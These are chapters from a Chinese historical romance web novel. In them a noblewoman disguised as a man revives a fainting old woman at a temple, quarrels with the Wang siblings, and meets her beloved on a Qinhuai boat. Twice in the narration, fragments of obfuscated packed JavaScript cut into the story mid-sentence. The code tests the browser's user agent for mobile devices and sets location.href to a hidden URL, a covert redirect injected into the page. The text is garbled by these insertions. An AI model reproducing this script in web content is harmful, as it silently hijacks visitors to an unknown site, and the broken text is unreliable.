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“这就是召我们前去的原因了,若要和平解决招降此人,待侯峻入了京师,必要许配一名贵女给他。侯峻在豫州握有一支精兵,势力不小。他若倒戈北胡,无疑会成我朝的心腹大患。此番桓超去招降,也是做了先礼后兵的准备的。只是没想到,这侯峻心机深沉,先是一口答应,待得返京途中又提出与士族通婚的要求。如今已是势成骑虎,若是不答允他,只怕就要兵戎相见了。桓超先答允他恐怕也是行缓兵之计。” 谢氏的声音有些发颤:“这……这怎么行?这如何是好?”她目光掠过女儿姣好的面容,满是焦虑担忧:“夫君必得想法救救梦儿!”她出身谢氏高门大族,向来骄傲也以此为荣。万万没想到有一日,这谢氏的出身也会成为一道符咒,会害了亲生女儿。 归梦忽地笑了:“这侯峻也有些意思。有道是‘王侯将相,宁有种乎’,他一朝得势,便要求娶士族女子装点门面,非要破了士族不与寒门通婚的惯例。这岂不是在狠狠打脸士族,出一口从前被看不起的恶气?” 谢氏有些哭笑不得:“你倒还欣赏起他来了?若真的嫁给这贼子,瞧你还能不能笑得出来。” 她吐了吐舌头:“女儿不过就事论事嘛。说起来,陛下应当也不乐意被胁迫着破这个例。那何不索性灭了他?” 岑熙起身,负手而立:“说得容易,刀兵一起,便是浮尸千里,血流成河……总之,一切要等那侯峻入宫面圣后才有定论。所以我说,为了安全起见,还是尽早给梦儿议亲。” 归梦没想到最终竟还是这个结论。她固然是害怕被选中嫁给侯峻那等逆贼,可是也不愿由着父母之命去嫁给他人。她心里有个声音在呐喊:如果要指婚,请把我指给明铮!可是她深知,以明铮的家世,是不可能入得了父母的眼的。 从方才的谈话来看,双亲依然认定士族之间彼此通婚是情理之中,不可更改的成规。 可她偏偏不信邪,越是艰难的事,她越要去做成。骨子里的那股拗劲上来了,她倒觉得侯峻之事也不算全然的危机,这危机中也许就透着转机。 16. 如梦令 这一日用过早膳无事可做,归梦便摆弄着几枚铜钱,想算算明铮现下如何。 她把手中铜钱连撒几次。 乾下巽上,变爻落在初九。 “复自道,何其咎……”归梦口中念念有词。 算得卦相小吉,她心中稍安。 明铮应当已然起程折返了。 紫芽在旁看不懂,倍觉无聊,忍不住道:“梦娘在家不嫌烦闷吗?听说城外琼花观的琼花现下开得最灿烂,好多人去观赏呢!不如……” 归梦趴在桌上,头也不抬:“不去。” 她打了个哈欠道:“人多定然拥挤,还不如在家清净自在。” 门外一把清朗熟悉的男声响起:“若是我邀你同去呢?” 谢炅倚着门框轻摇折扇,头戴青纱纶巾,一身靛青色锦袍,极是风流俊逸。 归梦眼睛一亮,立刻来了精神:”表兄今日好兴致,怎会想到来邀我赏花?” 谢炅笑道:“方才去见过姑母,晓得你近日不大痛快,特来找你同去散散心。” 归梦想到他应当也知道侯峻之事了,当下点点头:“好吧,看在你诚心相邀,给你个面子。容我更衣。” 其时世人多有信仰。无论道佛,香火均是极旺。 归梦以往时常陪母亲去瓦官寺上香。这道门圣地琼花观却是第一次来。 归梦携了紫芽,谢炅也带着仆从,一行四人在道观门前下了马。刚下马,就已感觉到观内人声鼎沸。 清风拂过,送来了阵阵琼花的香气。 归梦不解:“今日有何特别,为何都赶在今日来赏玩?” “这位公子你有所不知。琼花的花期不长,这几日是开得最好看的时候。传闻琼花是圣母娘娘进献给玉皇大帝的圣花,能祈福呢!所以观内香火这几日也是极旺。谁不想摘朵琼花祈福许愿呢?”道观门口负责牵马的杂役叹道。 原来如此。 赏花的同时还可祈福,倒也很风雅。 谢炅注视着一身淡杏色男装的归梦,笑道:“这位公子,这就请吧!”说着朝着观门作了个邀请的姿势。 归梦和紫芽均被他逗乐了。只要和这位风趣的表兄在一起,就绝不会觉得无聊。 琼花观名不虚传,围绕着正殿前后左右皆栽种着琼花,美不胜收。一丛丛琼花,花朵大若绣球圆盘,饱满润泽、洁白如玉,清秀淡雅,香气怡人。 “听说琼花又名聚八仙。八仙本是道教神仙,这琼花观的名字倒也相得益彰。”谢炅是文人习性,到哪都免不了品评一二。 紫芽随在一旁听着,指着前面笑道:“表公子说得不错,这场面可不就是八仙过海。” 远远看去,眼前是一条人组成的长龙。 这道观地界不大,游客又甚多,殿内祈福和求签问卜的都排起了长队,直排到了殿外好远。 队伍中的香客人手一支琼花,人声嘈杂,颇为混乱。 谢炅闻不惯殿内香烛的气味,打开折扇轻轻扇着:“表妹,你可相信?” 归梦淡然一笑:“信则有不信则无。这档子事无非是给迷茫者一个指引罢了。”她顿了顿又道:“我更信自己。” “说得好。”谢炅看着面前拥挤的人潮,忍不住揉了揉耳朵,叹道:“看来我们真该在家待着才是,此地确实吵闹。” 前方人群队伍中吵闹的声音越来越大,归梦皱了皱眉:“好像出事了。” 她生来好事,自然要去看热闹,谢炅也只得跟了上去。 原本排得还算整齐的长队已经围成里三圈外三圈的圆形。 归梦和紫芽费劲力气也难挤入,看不到里面的状况。外围不时有人聚拢过来凑热闹,后面不断有好事者发问:“怎么了?怎么了?” 也有内圈前排的人随口回答:“有人晕倒了!是个老婆婆。” 归梦深知医理,众人围观对患者并无好处,当下心里焦急,又苦于挤不进去,灵机一动,大喊道:”谁的钱袋掉了,地上好多钱啊!”众人闻声,注意力全都被吸引了过来,纷纷朝她的方向涌来,低头在地上寻觅。 归梦趁势找准空隙挤到最前。 只见一名中年仆妇正抱着昏迷的老妇人焦急地呼唤着:“老太君,老太君醒醒!” 归梦走上前,蹲下身子,伸手卷起老妇人的袖子,一搭脉搏,不禁眉头皱起,脉象很快,再探鼻息,呼吸也很急促。 那仆妇惶惑道:“你……” 归梦不欲和她多费唇舌,语速飞快:“我是大夫,想她活命就照我说的做!把她的脑袋放平!”说完她扭头对围观人群大声道:“散开散开,病患需要呼吸,不可围观,全都退后!” 谢炅和紫芽帮忙劝说,疏散开了人群。只有一部分好事者依旧遥遥围观。 归梦见这老妇人头上微微有汗,牙关紧闭,双目轻阖,当即将她领口松了松。 “有没有针线包?” “有有有!”仆妇手忙脚乱地掏了随身的针线包出来。 原来归梦曾见家中年长的仆婢大多随身带着针线包,便留了心。此时也是抱着万一的指望问的,一问之下果然有。 她取出绣花针,缓缓扎入老妇人的手指。连扎了两根手指,还不见醒转。 十指连心,昏迷的人受此疼痛应当能被刺激得恢复知觉的。 围观者中有人见状嗤笑:“这后生哪像是会给人治病的样子!依我看,还是把观里的法师请来救治吧。” 归梦听在耳中,甚是烦躁,本想罢手,可心中善念又压倒了一切。她此刻若放弃,这老妇人定然不治了。 没奈何,只能咬牙再试试。 她又飞速除下老妇人的鞋袜,在其脚趾上扎了一针。 那中年仆妇嘴唇动了动,欲言又止,将疑心阻挠的话吞了回去。 针入脚趾,老妇人似有知觉感应,脚趾颤动几下。 她嗓子里隐约有“呜呜”几声,面上露出痛苦神色,随即缓缓睁开了双眼。 “醒了,醒了!天可怜见,老太君你终于醒了。”那仆妇大喜,缓缓将老妇人上半身扶起。 归梦也是松了口气,安慰道:“老夫人暂时没事了。是正午暑气蒸腾,挤在人群中,人多气浊,喘不上气,以致于昏厥了。” 她接着叮嘱:“赶紧带她到阴凉处,给她弄些水喝,早些还家休息,最好再找个大夫看看。” “是是,多蒙公子妙手回春!这点小意思不成敬意,就当是诊金吧!”仆妇边说边从袖中掏出一块银饼就要放在归梦手中。 归梦不想这仆妇穿着朴素,出手竟这般阔绰。 “不必了,我救人也不是为了钱。”她推却了,起身就准备离开。 “花、花……”老妇人悠悠醒转后意识渐复,开口呢喃。 仆妇轻轻扶住那老妇人,安慰道:“老太君,花掉了,我再去给您采……”她想到老妇人为了这花险些丢了性命,说着不由得鼻头一酸,落下泪来。 归梦见地上散落着几朵零碎的琼花,已经遭人踩踏得不成样子,急忙朝紫芽招手示意她再采一朵来。 紫芽很快摘来一朵,归梦将花递了过去。 她这才仔细看了看这老妇人。她虽然与那仆妇一样衣着朴素,但是衣料质地却是上乘。一身赭色的蝙蝠纹缎袍,近乎雪白的发髻上簪了一对素银簪子,手腕上套着一串碧澄澄的碧玺翠珠。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599174|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 仆妇急忙擦了擦眼泪,谢着接过花,举到老妇人面前,像哄小孩似的劝道:“这花我们拿去给法师开光供奉,少爷的伤一定能快快好起来……” 老妇人望着面前洁白饱满带着香气的琼花,眼中的神采逐渐复苏,皱纹纵横的面上慢慢恢复气色:“我无事了,扶我起来。” 归梦上前帮着仆妇一起扶起了她。 老妇人凝视着归梦又再次道谢:“老身生平从不欠人。救命之恩,万难回报。还望公子可以留下姓名,待来日……” 归梦见这老妇人气度不凡,说话间通身更是有股不怒自威的气势,像是出身不俗。 观其面容,这老妇人平日里定是精明强干之人,只是关心则乱,为了亲人晚辈的病在这道观之中排队祈福,以致于晕倒。 她正想要不要编个假名蒙混过去,忽听身边传来一声娇呼:“就是他!二哥,就是他欺负我!” 归梦转头看去,不禁暗叫不妙。 不远处的琼花丛边,王如芝正叉着腰满脸怒容地瞪着她。 伴在王如芝身侧的是一位锦衣华服的年轻贵公子,想来便是她刚才所唤的“二哥”了。 两人身边还跟着侍女与随从。 看来王家兄妹今日也来琼花观赏花来了,竟这般不巧给遇上了。 王如芝三步并作两步走到她面前,双目瞪得滚圆:“方才看你在那救人我就觉得眼熟。现在想起来了,那天在街上戏弄我的就是你!”说完她又唤来贴身侍女站到归梦面前,让再三确认,侍女毫不迟疑地点头肯定。 一瞬间归梦脑子里转了几百个念头。环顾四周,人多眼杂,仍有不少人围观。 说不得,只能一装到底了。 她笑了笑,粗着嗓音道:“这位女公子是认错人了吧,在下与你素不相识,不明白你在说什么。” 那仆妇扶着老妇人站在旁边并未离去,她忽地指着王如芝对老妇人道:“老太君,方才就是她命侍女插队!我气不过和她们理论几句,她们还仗势欺人……我们排了那么久的队……就是她害得你晕倒,险些丢了性命!” 王如芝正一门心思地要找归梦算账理论,不想忽地又惹出这桩事。她见那仆妇言之凿凿,顿时气势矮了几分,嘴上仍强辩道:“不干我的事,我怎知她会晕倒?现下没空搭理你们,想要钱吗?给你们就是了!”说着就让侍女掏钱打发老妇人。 归梦刚想趁机溜走,就听到身后王如芝的叫声:“喂,站住!”王家的侍女与随从一道将她团团围住。 归梦看到站在人群前排的谢炅与紫芽,他俩面有忧色,看起来是预备上前来搭救她。她急忙用眼神制止了二人。 “别以为你死不认账就没事了!知道我是什么身份吗?你上次当众羞辱我,今日我绝不会放过你,定要叫你好看!” 归梦叹道:“我记性不大好,做过什么确实记不清了,更不知道您是什么身份。女公子若是原原本本告诉我,我一定承认。” 王如芝身旁侍女大喜:“这可是你说的,那日我家姑娘躺在……”她话没说完就被王如芝捂上了嘴巴。 归梦抿嘴微笑,看来王如芝还不算笨到家。 反正自己穿着男装无人识得,而她却是堂堂大家闺秀。此刻抛头露面在众人的围观之下,要说出她当街装晕被戳穿一事,那就是自曝其短,丢脸的可是她。 “你这无耻之徒!”王如芝羞怒交加,求助身旁男子:“二哥,你快帮我抓住他,扇他几个耳光给我出气!” “你敢!”归梦脾气也上来了,她见那贵公子不发一语,竟真的朝自己走来,不由得慌了,待他到了面前,忍不住伸手去推,不想却被他笑着抓住了手腕。 17. 风波起 她奋力挣脱,可力不如人,索性放声大喊:“救命啊,大家快来看啊,王家仗势欺人了!” 观中香客被这连续不断的闹剧给弄得无心求神祈福,本已散了不少的人群,听到声音又纷纷聚拢过来。 那王家公子见她如此叫喊,也是一怔。 “松开她。”身后是那老妇人老迈却沉而有力的声音。她始终在旁没有离去,眼见归梦被抓住手腕行将受辱,立时出声喝止。 老妇人拄着拐杖,走到近前,将归梦揽到自己身后。 人群中谢炅与紫芽悄悄松了口气。 王如芝已经气昏了头,口不择言道:“老太婆,你休要多管闲事!” 老妇人冷冷道:“想不到王家的后辈已经这般张狂了,你的父辈尚不敢对我如此无礼。你小小女儿家,这样不懂规矩……” 那王家公子为她气势所慑,不由自主后退一步,重又打量这老妇人。这老妇人看似病弱,却是气度不凡。 他敛起不羁,恭敬道:“敢问这位老夫人如何称呼?” “我家太君随夫家姓祖。”那仆妇代替主人回话,态度不卑不亢。 姓祖?归梦回想了一番,似乎并不曾听说姓祖的人家。 王家公子听了这姓氏却是恍然大悟,顿时更加恭敬,还一再替王如芝道歉:“是子野与舍妹无礼了。“他说着朝那祖老太君深深一揖。 能让不可一世的王家人变得这般恭敬,定然是高门显贵。归梦不禁对这老妇人的身份愈发好奇了。 王子野见祖老太君神情极为冷淡,忍不住干咳两声,自圆其说:“这位公子方才救了老太君,定然不是什么坏人,想必是误会一场。哈哈,真是对不住了。”说着满面堆笑朝老太君身后的归梦拱了拱手。 归梦见他前倨后恭,十分不屑,只两眼望天,理都不理。 王子野看场面尴尬,寻个由头,丢下几句“告辞”,匆匆拉着不情愿的王如芝离开了。 “姑娘,没事吧?”祖老太君见王家人走了,拉起归梦的手关切道。 归梦讶异:“你、您怎么知道我是女……”她硬是吞回去半句话。她以为自己乔装得很好,没想到却逃不过这老太君的眼睛。 那仆妇笑道:“方才你救治老太君时我就看出来啦!你脖子平滑白净,哪里像个男人?” 归梦被她瞧破,颇有些不好意思。 看来这女扮男装终究是有漏洞。该不会明铮也早就看穿她了吧? 祖老太君携着仆妇离去后,紫芽急忙奔上前拉着归梦的手。 她回想刚才的场面还有些后怕,埋怨道:“梦……公子,方才情况那般紧急,怎地你还不让我们阻止?” 谢炅笑道:“这还不简单,我们一出现,梦儿的身份可就彻底曝光了。你是她的贴身侍女,见过你的人肯定不少。至于我,与那王家二郎也算相熟。他们心里仔细计较一番,还能猜不出梦儿是谁吗?” 紫芽听明白了,又问:“那表少爷,为何你方才非要坚持等那老妇人走了才肯出来呢?” 归梦失笑道:“不用想也知道,肯定是那祖老太君也识得他呗!” 谢炅叹道:“她倒也未必能认出我,我上一次见她,还是幼年的时候了。只是若现身相见,必得请安问礼,甚是麻烦。何况这位老太君可是出了名的严厉,见了后辈少不得教训几句。多一事不如少一事吧……” “原来如此。谢兄果然机智,小弟佩服。”熟悉的声音响起,王子野一干人从花丛后缓缓步出。 他们竟然还没走! 谢炅也有些措手不及,但很快恢复了从容潇洒的神态,折扇一摇,笑笑:”王兄,好久不见。” 王如芝气咻咻地指着归梦:“二哥,你猜得没错,她就是女扮男装!” 归梦心里叫苦,今个是什么日子,出门撞见熟人也就算了,还连连被识破身份。 王子野注视着归梦,笑着一步步走近:“天下哪有你这样十指纤纤,吹气如兰的少年郎?” 他笑道:“更何况方才我抓住你的手时,你大喊‘王家仗势欺人’——你怎会知道我们的身份?除非……你根本就认识我们。” 归梦之前并没留心仔细看他,此刻才注意他的容貌。 狭长的一双凤眼透着些狡黠,挺拔的鼻梁配着一张薄唇。虽然比不上明铮的风姿,但也算是容貌上佳。他的长相倒是和王如芝全无相似之处。 只是,她一想起自己被他抓住过手腕,就对这人全无好感,再看到他眼眸中闪烁着的促狭的光芒,更加厌恶了。 王如芝也在一旁点头附和:“就是!好你个岑归梦,为了之前游河落水的事,你便让我当众出丑。你是存心报复我!” 谢炅虽不知其中内情,但是看这架势,似乎斗争就要一触即发,他惯来见不得女子吵架,连忙出言缓和:“王家姊姊稍安,大家都是一家人,有话好说。梦儿若是之前得罪过你,想必也是无心的。她年纪尚幼,我替她向你赔个不是了。”他说着上前一步,语气极是温柔,声音也十分磁性悦耳。 王如芝抬头看着眼前这张俊眉朗目、面如冠玉的脸,不由得有些痴了。 王子野暗自叹了口气,只能大声咳嗽几下来唤醒这个花癫妹妹。 归梦一阵好笑,好笑之余又有些感动,为了自己,表哥对王如芝都用上美男计了,这牺牲不可谓不大。 王如芝回过神来,略有些羞赧地收回目光。她轻哼一声,冲着归梦说道:“你若有诚意便该亲自跟我道歉!” 归梦笑了:“跟你道歉?”她此时浑身的反骨都烧了起来,倔脾气犯了。此事事关明铮,再加上当初是王如芝害她落水在先,二人才就此结下梁子的。凭什么要她低头认错? “好啊,那我便要细细说一说,是谁为了追俊郎当街拦车了……”归梦嘻嘻笑道,伸出手指轻轻在脸上刮了刮,讽刺王如芝不知羞厚脸皮。 她脸皮薄嫩,玉白的手指一划,便留下淡淡的红晕,倏忽散去,分外娇俏。看得谢炅与王子野忍俊不禁。 “你……”王如芝气得满脸通红,正欲驳斥,却听归梦大声道:“那日在街上你明明就是装昏倒,我只是戳穿你的骗人伎俩。若说丢脸出丑那也是你自找的。我替天行道,你心怀鬼胎。现在你恶人先告状,反要我给你道歉,试问这天下还有是非曲直吗?”归梦素来口齿伶俐,当下连珠炮似的把事情一股脑说了出来,直气得王如芝说不出话来。 谢炅和王子野都是聪明人,心下也都明白了几分,不约而同地上前打圆场。 他二人各自架住一个,朝不同方向走去。 “好了好了,消消气,时辰不早,先家去……”嘴上都是不住口地“姑奶奶、好妹妹”地哄着,生怕二女在道观中打起来。 王如芝极不情愿地被王子野和侍女拖拽着离去,她还要挣扎着回来与归梦理论却挣脱不得,只能愤怒地扭过头,一双圆眼里快喷出火:“岑归梦,你等着。这个仇我一定会报!” 归梦毫不畏惧,挑衅地反击道:“谁怕你!” 与此同时,她看到王子野也回头望了望她,那双狭长的凤眼似笑非笑,幽黑深沉,藏着让她读不懂的意味。 原本好好的出游散心,不想竟惹出一场闹剧。回去的路上,紫芽小心翼翼地觑着归梦的脸色,弱弱地开口:“梦娘,你何苦跟王如芝结仇呢……” 归梦打了个哈欠:“已经这样了,还能怎么办?”她心里也有些后悔,感觉和王如芝之间也并没有什么深仇大 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“表兄,当年我姑母与王家结亲,其中内情你可知道吗?” 夕阳斜照山头,归梦信马由缰,静静听谢炅说着往事。 原来姑母岑氏曾嫁给了王如芝的伯父。王岑两家结亲,一度也是交往甚密,姑母与姑父琴瑟和鸣,是人人称羡的恩爱夫妻。 直到有一日,姑父入宫,被当今皇帝的妹妹新安公主看上了,硬是要嫁给他,逼着他休妻再娶。皇帝对新安公主一向疼爱,便下旨赐婚。王家虽是大族,却也拗不过皇命。为了保全王岑两家人不受牵连,姑母主动离开了姑父回到了岑家。姑母孤身寡居,终日郁郁,没多久就去世了。姑父虽无奈娶了公主,但仍念着姑母,他得知姑母辞世,不久也患病而亡。而那新安公主费尽心机也只和姑父相处了几年时间,姑父死后她深受打击,也跟着自尽了。 “我也是从我父亲那里听闻了这些事,自那之后,王家与岑家就不再往来。”谢炅颇为慨叹。 归梦默默听完,良久没有说话。 真是孽缘!若不是那新安公主横刀夺爱,何至于此。三个人正当盛年,却都含恨而逝。这样的惨事,亲者必定伤痛。何况对岑家而言,是被皇家夺亲,被王氏所弃,面上无光,无怪乎父亲不愿再提。 她不由得又想起了明铮,他身边有那么多女子,围绕追捧着他。自己一定不是最美丽的,或许也不是地位最尊贵的,若是有一天他们在一起了,同样的事情会不会发生在他们身上? 不!不会的。就算真的不幸发生了,她也不会轻易放弃,一定抗争到底,她认定的事情什么时候改变过? 已是夏末秋初时节,听闻桓超与侯景已经到京口了。若是明铮也参与其中,归梦算着日子,他也该回来了。 明日就是七月初七乞巧节,不知他能否赶得回? “梦娘!回来了!听说桓大官人把侯峻带回来了!” “真的?你怎知道的?”归梦又惊又喜。 紫芽跑得太快,上气不接下气:“我、我听桃枝说的……今日一早,侯爷就入宫了。说是陛下要携百官去城外迎接桓大官人和侯峻。” “这么说他已经在城外了?”归梦喃喃自语。 紫芽自然知道归梦口中的“他”是谁。“应该是吧。他们一行人昨夜就驻扎在城外了,想是今日等着陛下召见再入城。” “梦娘可是今日就要去见他吗?” 归梦微笑道:“不急。” 已经这么久没见了,倒也不急在这一时三刻。况且,他离开建康许久,此时甫还家,定要处理些家中事务。 她走到桌案前,铺开一张书笺:“来,帮我磨墨。” 18. 诉衷情 这一日,归梦是在激动、期待、喜悦、忐忑的心情中度过的。 她好不容易捱到父亲还家,立刻跑到父母亲房中问安。 见归梦亲自端来点心和沏好的茶,岑熙和谢氏颇为安慰,以为这平日贪玩的女儿总算是渐渐长大懂事,开始孝顺体贴父母了。 归梦绕在父亲膝下,格外乖巧:“父亲,听闻今日那侯峻入城了?” 岑熙喝了口茶,长出了口气:“不错,陛下已封他为河南王,预备给他盖一所宅邸,留居建康。至于他要求娶士族女子之事,陛下尚未松口,暂时先拖延着。” 他低头看着女儿蓬密如云的乌发,以为她在担忧被择中嫁与侯峻,温声安慰道:“梦儿莫怕,有为父在,此事你不消忧虑。” 其实归梦并不是担心这个,只是想借机打听桓超等人的行程罢了。她仰头甜甜笑道:“有父亲和母亲在,女儿自然万事无忧。”紧接着又装作无意说道:“那桓超真是好大的架子,竟然要陛下与百官出城迎接!” 谢氏在旁,闻言轻哼一声:“他招降侯峻自然是大功一件,何况如今他兵权在握,又是陛下的妹婿,自然是要格外倚重的。说起来……如今岑氏与谢氏族中,均是文官为多,若能有个能带兵打仗的武将,也不至于叫那桓超一家独大。” “我看很难。族中子侄一辈生于这江左,已是世代偏安。文墨诗书熏陶过多,早已移了性情。倒不如指望梦儿将来嫁个能干的夫婿。”岑熙亦是慨叹。 谢氏赞同:“这倒是两全其美。” 归梦无语,她没想到又扯到自己的婚事上来了,于是赶紧插嘴岔开话题:“那陛下今日是否封赏了一众人等?他们都还家了吗?” 岑熙听她问得奇怪,随口道:“封赏过了,应当是自行还家了吧。你怎会关心这个?” 归梦自知失言,连忙笑着推说“好奇而已”,寻了个由头,便从父母房中退了出去。 得到了确切消息,她火速唤来紫芽,让她把信笺送去明府。 紫芽问道:“我可要乔装吗?” 归梦打算着这几日就与明铮摊牌,自明身份,当下道:“不必,他若问你是谁,你只说是受写信人所托就行。待会儿出门,就说是我想吃西市的炸糖糕,命你去采买。” 一直等到了傍晚,紫芽方归。 “我到明府送信,门房说他家公子并不曾还家……”紫芽絮絮说着。 归梦还没听完就忍不住打断惊叫道:“什么?他没有回府?那他在哪?” 难道他并不曾和桓超、侯峻一起从豫州归来?或者自己根本就猜错了,他去豫州另有使命,并非是参与招降侯峻。 紫芽见归梦这般激动,吓得声音弱了下去:“……我正不知道怎么办的时候,门口来了名随从,我看他眼熟,像是明大人的贴身侍从,就跟他打听。他说,明大人回到建康,但另有要事还不及回府。他说‘你若有东西要给大人,我可代为转交’,于是我就把书信交给他了……” 归梦松了口气,怨道:“你呀,下次说话先说结果,再说经过。我这一颗心被你弄得七上八下的。” 会是什么事绊住了他呢?她才放下的一颗心又悬了起来。 罢了,左右他已在建康,信虽没有交到他本人手中,但等他还家应当能收到。 接下来,她该好好筹划明日的事了。 明日就是七月初七,传闻在这一日,牛郎与织女会在天河相会,是有情人相会的日子。 是夜,华灯初上,秦淮河畔,朱雀桥边。 每有行人经过,归梦都格外紧张。 她约了明铮在此处相见,算来时辰已近了。 白日,在母亲的主持之下,府中诸人都忙着曝晒衣物。这是七月七这日惯来的风俗,各家各户都是如此。 今早的晨妆,她格外用心描摹,央着紫芽给她换了几个发式,终于选到了合意的。衣服亦是费心择过,将一套套衣裙从衣柜中取出,对镜比了又比,试了几套,才选出一套最满意的熨烫好。 一套樱紫色绣花罗襦裙,淡淡绣着些浅色昙花样暗纹,梳一个单螺髻,斜簪一支八宝如意钗,额间贴着桃花形状的花钿嫣然妩媚。这般用心装饰后的归梦显得很是娇俏可人。 “难得见梦娘打扮得这等娇艳。”紫芽如是感叹。 是啊!归梦从来不喜粉樱朱紫这等艳丽的颜色,太过夺目,也太女气,与她的性格不相衬。 只是,她终究是女娘,尤其是当有了心仪的男子,她越发意识到她是女娘,她是可以温和、柔顺、耐心地去对待一个人的,她希冀着用自己不多的柔媚,来表现自己的诚意,以打动对方。这是一个惯来有些孩子气、又有些男子气的女娘,对待爱情最天真的想法。 归梦对着镜中人挽起一个笑容,像是托付了一个信念似的。 “紫芽,今夜就照这样为我装扮吧。” 两岸灯火阑珊,桥边微风阵阵,拂起归梦身上墨蓝色男装的袍角。 “小孟。”背后有声音响起。 这低沉好听的声音她很熟悉,却又有些陌生了。 尽管只是分别了两个多月未见,于她而言却好像过了几年一般——“思君令人老”呵! 这应该是她第一次见明铮穿着玄色的衣袍,墨沉沉的,高大挺拔的身形几乎要融入这夜色之中。 依然还是那双真诚明亮的双眼笑意融融地看着自己,只是懒懒的笑容中有些许倦怠,面上风霜之色未褪。 想来这俩月一定奔波劳累未曾好好休息。 他下颌的线条像是更明朗了,如俊美的玉雕般,看得她一颗芳心直跳。 她又忽然觉得自己有些自私了。他才仅仅回来一天,就要来赴自己的约。 “抱歉,俗务缠身,迟了片刻。” 她平日千伶百俐,话匣子一打开自是能言善道,此刻却只觉满腹心事无从说起,也不晓得要和明铮说些什么才好。 半晌她才讷讷回道:“不,是我约得仓促……”只说了一句,又沉默了。 明铮见她今日格外寡言,笑着主动找起话头:“为何约在此处?” 归梦这才想起今日邀约的目的,她温婉笑道:“我说过,待远书兄归来,要为你接风洗尘。”她纤手指向桥下岸边停着的一艘小船。 明铮点头拱手,两人先后上了船,船夫早已恭候多时,当下解绳,摇橹击水,顺流而下。 归梦与明铮并肩坐在船头,夜风吹在脸上痒痒的,如同她此时的心情。紧张、期待、担忧、害怕……揉在一处,麻麻痒痒地啃噬着她的心。 她用余光偷偷瞥着明铮。他似乎正一心观赏这桨声灯影中的秦淮,明昧倏忽间,光影投在他的脸上,或明或暗,都美好得让她心跳加速,喘不过气。 俗话说“百年修得同船渡”,只要是与他一起,哪怕只是乘船这样寻常的小事,都被她在心里赋予了特别的含义。 明铮并不多问,似乎一切都任她安排。 行出里许,归梦回头望去,朱雀桥已经湮没在昏暗的夜色之中,再难辨认。 两岸的灯光逐渐繁密,亮如星河,几艘挂着花灯的精致画舫在河面上飘然来去。画舫中灯柱摇曳,流光映得河面如金。有几艘舫中不时传来欢歌琴音,伴有笑语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你我相识,已有百日了。我想知道,远书你心里是如何看我的?” 虽然决意今夜坦承身份,但她还是想先听听他对自己的看法。 “我的看法很重要吗?”明铮笑笑,他转身坐下,宽大的玄色袍袖一展。 归梦也紧跟着坐下,紧盯着不放:“自然重要。” 她忍不住催促:“你倒是说啊!” 他微一思忖,答道:“有趣。” “什么有趣?” 明铮笑道:“我是说小孟你这个人‘有趣’。你的性子,活泼爽朗中夹杂几分天真烂漫,耿直率真又不失聪明狡黠。有时让人捉摸不透。但是与你一起,确实轻松愉悦。如此,你当然担得起‘有趣’二字。” 归梦听他这番话还算是夸赞,嘴角止不住地上扬。 她眼珠一转,笑道:“那么,若你是女子,可愿嫁给我这样的男子吗?” 明铮被她问得啼笑皆非:“这问题不止是‘有趣’,已可算是‘刁钻’了。我并非女子,恕我回答不了。” 归梦一计不成又生一计,她着急道:“那换个问题,若我是女子,你可愿娶我这样的女子吗?” 她目光灼灼直勾勾地望着明铮。 明铮怔住了。他微微垂下眼睛,避开了归梦的目光。 归梦心中焦急,大着胆子伸出手去,嫩白如玉的手指覆上明铮握着酒杯的手。 “你喜欢什么样的女子?” 19. 思华年 还没等到明铮的回答,就听见有人踩着跳板上了画舫。 归梦将手收了回去。 竹帘被人掀开,是船家进来回话:“二位公子,莳花楼的两位乐娘来了。” 竹帘外依稀是两个窈窕身影。 关键时刻被打断,归梦不悦道:“谁说要找乐娘了?” 那船家有些傻眼,解释道:“是您同意了小的才去请的……” 归梦不欲当着明铮的面发火:“罢了。既来了,就在外面随便拣拿手的唱两段,别多话,唱完自然有赏钱。” 她说完,从荷包里掏出一块银饼搁在桌上,扬扬脸让船家下去。 帘外的人忙活起来,这画舫地方宽敞,纵然是船头,面积也很是富余。 不一会儿就看到二女模糊的身影似乎是坐下了,一女面前摆着桌子奏琴,另一女不知是唱歌还是用别的什么器乐。 随着几下琴音调试,很快琴声与歌声就响了起来。 唱曲的女声嗓音软糯甜腻,有着吴地口音。歌声被秦淮河上的水声一漾,多了几分清凌。 唱的是眼下最时兴的曲子《玉妃引》: 薄袄轻罗自在飘, 半点含羞遮绿叶, 三分暗喜映红袍。 瑞雪凝成冰玉肌, 错把落英当有意, 红尘一梦笑谁痴。 当年不肯嫁春风,无端却被秋风误。 断回肠,思故里,漫弹绿绮。 …… 归梦初时听着也不觉唱得多优美,但听到“错把落英当有意,红尘一梦笑谁痴”这句,不觉心念一动。仿佛这歌伎正唱到了自己的心事。 她瞥一眼明铮,他背对着船头,也并不转过身去看帘后的歌伎,只面色如常,静静听着曲子,偶尔自斟自饮一杯。 他若无其事的样子,让归梦心中又急又恼。方才她的问话和举动已经很是主动露骨了,她的女儿身份也是呼之欲出了。若不是碰巧乐伎来了,她已经主动捅破了这层窗户纸。 他到底是否知晓呢? 一段过后,琴音渐悄,歌声也歇了。有清越灵动的笛声忽起,呜咽缠绵,被夜风和流水声激荡着送出好远,似乎整条河上其他嘈杂的声音都消失不见了,都被这无双的笛声被压住盖过。 笛声渐奏渐高,孤高峻拔,如出谷明月,又忽而转柔,如潺潺细溪,情致宛转,缠绵不绝,如泣如诉,如慕如怨。 归梦不料这市井之中竟还有如此笛艺精绝之人。她虽对笛子一窍不通,但平日参加宴会甚多,也听过不少吹笛奏乐,均不如今夜的笛声这般让她惊艳。 明铮显然也被这笛声镇住了,侧耳倾听,很是入神。 